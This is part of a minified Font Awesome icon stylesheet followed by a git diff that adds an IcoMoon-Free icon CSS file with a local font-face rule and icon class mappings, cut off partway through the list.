.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto} diff --git a/public/css/icomoon.css b/public/css/icomoon.css new file mode 100644 index 0000000..ccbb7f4 --- /dev/null +++ b/public/css/icomoon.css @@ -0,0 +1,1793 @@ +body { + background: #fff; +} +@font-face { + font-family: 'IcoMoon-Free'; + src: url('../fonts/IcoMoon-Free.ttf') format('truetype'); + font-weight: normal; + font-style: normal; +} + +.icon { + /* use !important to prevent issues with browser extensions that change fonts */ + font-family: 'IcoMoon-Free' !important; + speak: none; + font-style: normal; + font-weight: normal; + font-variant: normal; + text-transform: none; + line-height: 1; + + /* Enable Ligatures ================ */ + letter-spacing: 0; + -webkit-font-feature-settings: "liga"; + -moz-font-feature-settings: "liga=1"; + -moz-font-feature-settings: "liga"; + -ms-font-feature-settings: "liga" 1; + -o-font-feature-settings: "liga"; + font-feature-settings: "liga"; + + /* Better Font Rendering =========== */ + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +.icon-home:before { + content: "\e900"; +} +.icon-home2:before { + content: "\e901"; +} +.icon-home3:before { + content: "\e902"; +} +.icon-office:before { + content: "\e903"; +} +.icon-newspaper:before { + content: "\e904"; +} +.icon-pencil:before { + content: "\e905"; +} +.icon-pencil2:before { + content: "\e906"; +} +.icon-quill:before { + content: "\e907"; +} +.icon-pen:before { + content: "\e908"; +} +.icon-blog:before { + content: "\e909"; +} +.icon-eyedropper:before { + content: "\e90a"; +} +.icon-droplet:before { + content: "\e90b"; +} +.icon-paint-format:before { + content: "\e90c"; +} +.icon-image:before { + content: "\e90d"; +} +.icon-images:before { + content: "\e90e"; +} +.icon-camera:before { + content: "\e90f"; +} +.icon-headphones:before { + content: "\e910"; +} +.icon-music:before { + content: "\e911"; +} +.icon-play:before { + content: "\e912"; +} +.icon-film:before { + content: "\e913"; +} +.icon-video-camera:before { + content: "\e914"; +} +.icon-dice:before { + content: "\e915"; +} +.icon-pacman:before { + content: "\e916"; +} +.icon-spades:before { + content: "\e917"; +} +.icon-clubs:before { + content: "\e918"; +} +.icon-diamonds:before { + content: "\e919"; +} +.icon-bullhorn:before { + content: "\e91a"; +} +.icon-connection:before { + content: "\e91b"; +} +.icon-podcast:before { + content: "\e91c"; +} +.icon-feed:before { + content: "\e91d"; +} +.icon-mic:before { + content: "\e91e"; +} +.icon-book:before { + content: "\e91f"; +} +.icon-books:before { + content: "\e920"; +} +.icon-library:before { + content: "\e921"; +} +.icon-file-text:before { + content: "\e922"; +} +.icon-profile:before { + content: "\e923"; +} +.icon-file-empty:before { + content: "\e924"; +} +.icon-files-empty:before { + content: "\e925"; +} +.icon-file-text2:before { + content: "\e926"; +} +.icon-file-picture:before { + content: "\e927"; +} +.icon-file-music:before { + content: "\e928"; +} +.icon-file-play:before { + content: "\e929"; +} +.icon-file-video:before { + content: "\e92a"; +} +.icon-file-zip:before { + content: "\e92b"; +} +.icon-copy:before { + content: "\e92c"; +} +.icon-paste:before { + content: "\e92d"; +} +.icon-stack:before { + content: "\e92e"; +} +.icon-folder:before { + content: "\e92f"; +} +.icon-folder-open:before { + content: "\e930"; +} +.icon-folder-plus:before { + content: "\e931"; +} +.icon-folder-minus:before { + content: "\e932"; +} +.icon-folder-download:before { + content: "\e933"; +} +.icon-folder-upload:before { + content: "\e934"; 